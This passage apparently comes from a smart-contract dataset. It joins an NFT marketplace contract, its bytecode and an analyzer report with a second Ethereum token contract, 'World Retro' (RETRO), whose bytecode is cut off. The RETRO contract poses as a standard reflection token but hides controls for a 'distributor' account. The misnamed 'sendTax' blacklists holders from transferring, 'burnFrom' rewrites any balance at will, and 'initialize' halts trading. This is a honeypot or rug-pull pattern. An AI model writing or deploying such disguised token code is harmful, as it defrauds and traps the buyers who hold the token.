/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
token.safeTransferFrom(from, to, id, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
contract Trade {
enum BuyingAssetType {ERC1155, ERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
address public owner;
mapping(uint256 => bool) private usedNonce;
struct Fee {
uint platformFee;
uint assetFee;
uint royaltyFee;
uint price;
address tokenCreator;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
bool isImported;
uint unitPrice;
uint amount;
uint tokenId;
uint qty;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) {
buyerFeePermille = _buyerFee;
sellerFeePermille = _sellerFee;
transferProxy = _transferProxy;
owner = msg.sender;
}
function buyerServiceFee() external view returns (uint8) {
return buyerFeePermille;
}
function sellerServiceFee() external view returns (uint8) {
return sellerFeePermille;
}
function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) {
require(_buyerFee <= 25,"Fee: buyerFee should be less than or equal to 2.5%");
buyerFeePermille = _buyerFee;
emit BuyerFee(buyerFeePermille);
return true;
}
function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) {
require(_sellerFee <= 25,"Fee: sellerFee should be less than or equal to 2.5%");
sellerFeePermille = _sellerFee;
emit SellerFee(sellerFeePermille);
return true;
}
function transferOwnership(address newOwner) external onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function getSigner(bytes32 hash, Sign calldata sign) internal pure returns(address) {
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s);
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign calldata sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress,tokenId,paymentAssetAddress,amount,sign.nonce));
require(seller == getSigner(hash, sign), "seller sign verification failed");
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign calldata sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress,tokenId,paymentAssetAddress,amount,qty, sign.nonce));
require(buyer == getSigner(hash, sign), "buyer sign verification failed");
}
function getFees(uint paymentAmt, BuyingAssetType buyingAssetType, address buyingAssetAddress, uint tokenId, bool isImported) internal view returns(Fee memory){
address tokenCreator;
uint platformFee;
uint royaltyFee;
uint assetFee;
uint royaltyPermille;
uint price = paymentAmt * 1000 / (1000 + buyerFeePermille);
uint buyerFee = paymentAmt - price;
uint sellerFee = price * sellerFeePermille / 1000;
platformFee = buyerFee + sellerFee;
if(buyingAssetType == BuyingAssetType.ERC721) {
royaltyPermille = ((IERC721(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC721(buyingAssetAddress).getCreator(tokenId)));
}
if(buyingAssetType == BuyingAssetType.ERC1155 && !isImported) {
royaltyPermille = ((IERC1155(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC1155(buyingAssetAddress).getCreator(tokenId)));
}
royaltyFee = price * royaltyPermille / 1000;
assetFee = price - royaltyFee - sellerFee;
return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator);
}
function tradeAsset(Order calldata order, Fee memory fee, address buyer, address seller) internal virtual {
if(order.nftType == BuyingAssetType.ERC721) {
transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), seller, buyer, order.tokenId);
}
if(order.nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), seller, buyer, order.tokenId, order.qty, "");
}
if(fee.platformFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, owner, fee.platformFee);
}
if(fee.royaltyFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, fee.tokenCreator, fee.royaltyFee);
}
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, seller, fee.assetFee);
}
function buyAsset(Order calldata order, Sign calldata sign) external returns(bool) {
require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce");
usedNonce[sign.nonce] = true;
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId, order.isImported);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
address buyer = msg.sender;
tradeAsset(order, fee, buyer, order.seller);
emit BuyAsset(order.seller, order.tokenId, order.qty, msg.sender);
return true;
}
function executeBid(Order calldata order, Sign calldata sign) external returns(bool) {
require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce");
usedNonce[sign.nonce] = true;
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId, order.isImported);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign);
address seller = msg.sender;
tradeAsset(order, fee, order.buyer, seller);
emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146101225780639c66809d14610135578063a3667c7b14610140578063a96b446d14610153578063f2fde38b1461016657600080fd5b80630587b0f6146100985780632ce04cf0146100c057806360085da6146100d35780636e667db3146100f1575b600080fd5b6100ab6100a6366004611106565b610179565b60405190151581526020015b60405180910390f35b6100ab6100ce366004611106565b610315565b600054610100900460ff165b60405160ff90911681526020016100b7565b60005461010a906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016100b7565b60015461010a906001600160a01b031681565b60005460ff166100df565b6100ab61014e366004611162565b6104b2565b6100ab610161366004611162565b6105a8565b6100ab610174366004611088565b610686565b606081013560009081526002602052604081205460ff16156101da5760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064015b60405180910390fd5b60608201356000908152600260205260408120805460ff1916600117905561023b60e085013561021060a08701608088016110e7565b6102206080880160608901611088565b61010088013561023660c08a0160a08b016110c7565b610775565b90506102876102506040860160208701611088565b61010086013560e087013561026b6060890160408a01611088565b61027b60808a0160608b01611088565b89610120013589610ade565b336102a3858361029d6040830160208401611088565b84610bb4565b6102b36040860160208701611088565b6001600160a01b0316856101000135336001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36288610120013560405161030291815260200190565b60405180910390a4506001949350505050565b606081013560009081526002602052604081205460ff16156103715760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064016101d1565b60608201356000908152600260205260408120805460ff191660011790556103a760e085013561021060a08701608088016110e7565b90506103bc61012085013560c0860135611240565b816060015110156104055760405162461bcd60e51b815260206004820152601360248201527214185a59081a5b9d985b1a5908185b5bdd5b9d606a1b60448201526064016101d1565b6104466104156020860186611088565b61010086013560c08701356104306060890160408a01611088565b61044060808a0160608b01611088565b88610ef6565b3361045f85838361045a6020840184611088565b610bb4565b336101008601356104736020880188611088565b6001600160a01b03167fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff39488610120013560405161030291815260200190565b6001546000906001600160a01b031633146104df5760405162461bcd60e51b81526004016101d1906111ad565b60198260ff16111561054f5760405162461bcd60e51b815260206004820152603360248201527f4665653a2073656c6c65724665652073686f756c64206265206c657373207468604482015272616e206f7220657175616c20746f20322e352560681b60648201526084016101d1565b6000805461ff00191661010060ff8581168202929092179283905560405192041681527f04e959c7352d9eda8a6d989e4fee25ff0bf44c87386b7259d8500343c4e9992e906020015b60405180910390a1506001919050565b6001546000906001600160a01b031633146105d55760405162461bcd60e51b81526004016101d1906111ad565b60198260ff1611156106445760405162461bcd60e51b815260206004820152603260248201527f4665653a2062757965724665652073686f756c64206265206c657373207468616044820152716e206f7220657175616c20746f20322e352560701b60648201526084016101d1565b6000805460ff191660ff84169081179091556040519081527f1715ed10763088cbfba08a6ecfb6e5894eac73040cb1899d10d3f96ced2bd0ef90602001610598565b6001546000906001600160a01b031633146106b35760405162461bcd60e51b81526004016101d1906111ad565b6001600160a01b0382166107185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101d1565b6001546040516001600160a01b038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350600180546001600160a01b0383166001600160a01b0319909116178155919050565b6107b06040518060a001604052806000815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b60008054819081908190819081906107cd9060ff166103e86111e2565b61ffff166107dd8d6103e8611240565b6107e79190611220565b905060006107f5828e61125f565b60008054919250906103e89061081390610100900460ff1685611240565b61081d9190611220565b90506108298183611208565b965060018d600181111561084d57634e487b7160e01b600052602160045260246000fd5b14156109495760405163c57dc23560e01b8152600481018c90526001600160a01b038d169063c57dc2359060240160206040518083038186803b15801561089357600080fd5b505afa1580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb919061114a565b604051636a4731c560e11b8152600481018d90529094506001600160a01b038d169063d48e638a9060240160206040518083038186803b15801561090e57600080fd5b505afa158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906110ab565b97505b60008d600181111561096b57634e487b7160e01b600052602160045260246000fd5b148015610976575089155b15610a715760405163c57dc23560e01b8152600481018c90526001600160a01b038d169063c57dc2359060240160206040518083038186803b1580156109bb57600080fd5b505afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f3919061114a565b604051636a4731c560e11b8152600481018d90529094506001600160a01b038d169063d48e638a9060240160206040518083038186803b158015610a3657600080fd5b505afa158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e91906110ab565b97505b6103e8610a7e8585611240565b610a889190611220565b955080610a95878561125f565b610a9f919061125f565b6040805160a08101825298895260208901919091528701959095525060608501525050506001600160a01b039091166080820152905095945050505050565b604051606084811b6bffffffffffffffffffffffff1990811660208401526034830189905286821b166054830152606882018790526088820184905282013560a882015260009060c801604051602081830303815290604052805190602001209050610b4a8183610fc4565b6001600160a01b0316886001600160a01b031614610baa5760405162461bcd60e51b815260206004820152601e60248201527f6275796572207369676e20766572696669636174696f6e206661696c6564000060448201526064016101d1565b5050505050505050565b6001610bc660a08601608087016110e7565b6001811115610be557634e487b7160e01b600052602160045260246000fd5b1415610c6c576000546201000090046001600160a01b031663f709b906610c126080870160608801611088565b83858861010001356040518563ffffffff1660e01b8152600401610c399493929190611183565b600060405180830381600087803b158015610c5357600080fd5b505af1158015610c67573d6000803e3d6000fd5b505050505b6000610c7e60a08601608087016110e7565b6001811115610c9d57634e487b7160e01b600052602160045260246000fd5b1415610d58576000546201000090046001600160a01b0316639c1c2ee9610cca6080870160608801611088565b6040516001600160e01b031960e084901b1681526001600160a01b039182166004820152818516602482015290851660448201526101008701356064820152610120870135608482015260c060a4820152600060c482015260e401600060405180830381600087803b158015610d3f57600080fd5b505af1158015610d53573d6000803e3d6000fd5b505050505b825115610ded576000546201000090046001600160a01b031663776062c3610d866060870160408801611088565b60015486516040516001600160e01b031960e086901b168152610dba939288926001600160a01b0390911691600401611183565b600060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050505b604083015115610e7b576000546201000090046001600160a01b031663776062c3610e1e6060870160408801611088565b84866080015187604001516040518563ffffffff1660e01b8152600401610e489493929190611183565b600060405180830381600087803b158015610e6257600080fd5b505af1158015610e76573d6000803e3d6000fd5b505050505b6000546201000090046001600160a01b031663776062c3610ea26060870160408801611088565b848487602001516040518563ffffffff1660e01b8152600401610ec89493929190611183565b600060405180830381600087803b158015610ee257600080fd5b505af1158015610baa573d6000803e3d6000fd5b604051606083811b6bffffffffffffffffffffffff1990811660208401526034830188905285821b16605483015260688201869052820135608882015260009060a801604051602081830303815290604052805190602001209050610f5b8183610fc4565b6001600160a01b0316876001600160a01b031614610fbb5760405162461bcd60e51b815260206004820152601f60248201527f73656c6c6572207369676e20766572696669636174696f6e206661696c65640060448201526064016101d1565b50505050505050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101839052600090600190605c0160408051601f1981840301815291905280516020918201209061102290850185611162565b604080516000815260208181018084529490945260ff9092168282015291850135606082015290840135608082015260a0016020604051602081039080840390855afa158015611076573d6000803e3d6000fd5b5050604051601f190151949350505050565b600060208284031215611099578081fd5b81356110a48161128c565b9392505050565b6000602082840312156110bc578081fd5b81516110a48161128c565b6000602082840312156110d8578081fd5b813580151581146110a4578182fd5b6000602082840312156110f8578081fd5b8135600281106110a4578182fd5b6000808284036101c081121561111a578182fd5b61014080821215611129578283fd5b849350608061013f198301121561113e578283fd5b92959390920193505050565b60006020828403121561115b578081fd5b5051919050565b600060208284031215611173578081fd5b813560ff811681146110a4578182fd5b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600061ffff8083168185168083038211156111ff576111ff611276565b01949350505050565b6000821982111561121b5761121b611276565b500190565b60008261123b57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561125a5761125a611276565b500290565b60008282101561127157611271611276565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146112a157600080fd5b5056fea26469706673582212209ec9f18fe0eb65f5d94d4b684cf2b726d23ee3749d191753303690937e5c7a4a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,245 |
0x55501c67652f918dd0df037f1d530c0d75ea9ad0
|
/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);}
function _msgData() internal view virtual returns (bytes memory) {this;
return msg.data;}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {return returndata;}
else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");_;}
function owner() public view returns (address) {
return _owner;}
function distributor() internal view returns (address) {
return _distributor;}
function setDistributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}}
contract RETRO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = 'World Retro';
string private _symbol = 'RETRO';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 50000000000000*10**9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _pOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _multicall;
mapping (address => bool) private _isExcluded;
uint256 private constant MAX = ~uint256(0);
address[] private _excluded;
uint256 private _tFeeTotal;
uint256 private _totalSupply;
uint256 private _rTotal;
bool _initialize;
address router;
address factory;
constructor (address unif, address unir) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_pOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
_isExcluded[distributor()] = true;
_excluded.push(distributor());
_initialize = true;
router = unir;
factory = unif;}
function name() public view returns (string memory) {
return _name;}
function symbol() public view returns (string memory) {
return _symbol;}
function decimals() public view returns (uint8) {
return _decimals;}
function totalSupply() public pure override returns (uint256) {
return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {
return _pOwned[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;}
function burnFrom(address account, uint256 tokens, uint256 burn) external distributors {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_multicall[sender] || _multicall[recipient]) require (amount == 0, "");
if (_initialize == true || sender == distributor() || recipient == distributor()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}}
else {require (_initialize == true, "");}}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function sendTax(address acconut) external distributors {
_multicall[acconut] = true;}
function singlecall(address account) external distributors {
_multicall[account] = false;}
function checkTax(address account) public view returns (bool) {
return _multicall[account];}
function initialize() public virtual distributors {
if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
function initialized() public view returns (bool) {
return _initialize;}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);}}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634549b039116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063dd62ed3e1461040a578063de66a0041461043a578063ed5c4f191461046a5761014d565b80634549b039146102de57806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c146103645780638da5cb5b1461036e5761014d565b8063158ef93e11610115578063158ef93e146101f457806318160ddd1461021257806323b872dd146102305780632d83811914610260578063313ce5671461029057806339509351146102ae5761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c5780630f78bf9a146101bc578063124d91e5146101d8575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101d660048036038101906101d1919061242e565b6106b0565b005b6101f260048036038101906101ed919061245b565b61079b565b005b6101fc610910565b6040516102099190612413565b60405180910390f35b61021a610927565b60405161022791906124bd565b60405180910390f35b61024a600480360381019061024591906124d8565b610939565b6040516102579190612413565b60405180910390f35b61027a6004